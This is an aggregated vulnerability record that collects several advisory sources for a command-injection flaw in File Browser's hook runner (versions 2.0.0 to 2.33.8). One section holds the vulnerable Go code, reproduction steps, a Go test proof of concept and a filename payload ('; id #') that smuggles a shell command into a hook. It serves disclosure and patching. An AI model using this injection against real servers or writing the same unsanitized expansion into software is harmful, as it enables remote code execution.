File Browser has a Command Injection via Hook Runner

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File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.

Source published

7 Apr 2026 16:20:46 UTC

Source modified

9 Jun 2026 11:49:46 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 7.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.

Source published

Apr 7, 2026, 4:20:46 PM (timezone not stated)

Source modified

Jun 9, 2026, 11:49:46 AM (timezone not stated)

Saved here

15 Nov 2026 13:07:59 UTC

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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 7.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.

Source published

7 Apr 2026 17:16:33 UTC

Source modified

17 Jun 2026 10:40:49 UTC

Saved here

25 Oct 2026 08:17:41 UTC

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NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 7.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Overview The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**. ## Affected Location - **File:** `runner/runner.go` - **Function:** `Runner.exec` ## Technical Details `Runner.exec` expands template variables inside hook command strings using `os.Expand`: ```go // runner/runner.go envMapping := func(key string) string { switch key { case "FILE": return path // attacker-controlled filename case "USERNAME": return username // attacker-controlled username // ... } } for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc. } ``` The expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as: ``` sh -c "echo created $FILE" ``` ...and an attacker creates a file named `; id #`, the variable expansion produces: ``` sh -c "echo created /path/to/; id #" ``` The `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors. This pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc. ## Attack Scenario / Reproduction Steps 1. Admin configures an `after_upload` hook: `sh -c "echo created $FILE"`. 2. The attacker (authenticated user with upload permission) uploads a file named `; id #`. 3. The upload succeeds and the hook fires automatically. 4. The server executes: ```sh sh -c "echo created /uploads/; id #" ``` 5. The `id` command runs, confirming RCE. ## Impact Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly. ## Proof of Concept ```go package runner import ( "os" "testing" "github.com/filebrowser/filebrowser/v2/settings" ) func TestPoC_FileHookInjection(t *testing.T) { // Simulate an admin-configured shell-based hook r := &Runner{ Enabled: true, Settings: &settings.Settings{ Shell: []string{"sh", "-c"}, Commands: map[string][]string{ "after_upload": {"echo Uploaded $FILE"}, }, }, } // Malicious filename crafted by the attacker maliciousFilename := "/tmp/safe; id #" // Simulate the exec logic in runner/runner.go raw := r.Commands["after_upload"][0] command, _, _ := ParseCommand(r.Settings, raw) envMapping := func(key string) string { if key == "FILE" { return maliciousFilename } return os.Getenv(key) } for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $FILE with the attacker-controlled filename — // no escaping is applied, so shell metacharacters pass through unchanged. command[i] = os.Expand(arg, envMapping) } // The resulting command argument is the injected shell script: // sh -c "echo Uploaded /tmp/safe; id #" expectedArg := "echo Uploaded /tmp/safe; id #" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) } t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command) } ```

Source published

8 Apr 2026 00:04:27 UTC

Source modified

10 Sep 2026 03:50:44 UTC

Saved here

24 Oct 2026 13:19:41 UTC

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GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH

File Browser has a Command Injection via Hook Runner in github.com/filebrowser/filebrowser

Source published

25 Jun 2026 22:34:31 UTC

Source modified

25 Jun 2026 23:01:15 UTC

Saved here

24 Oct 2026 13:19:41 UTC

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OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.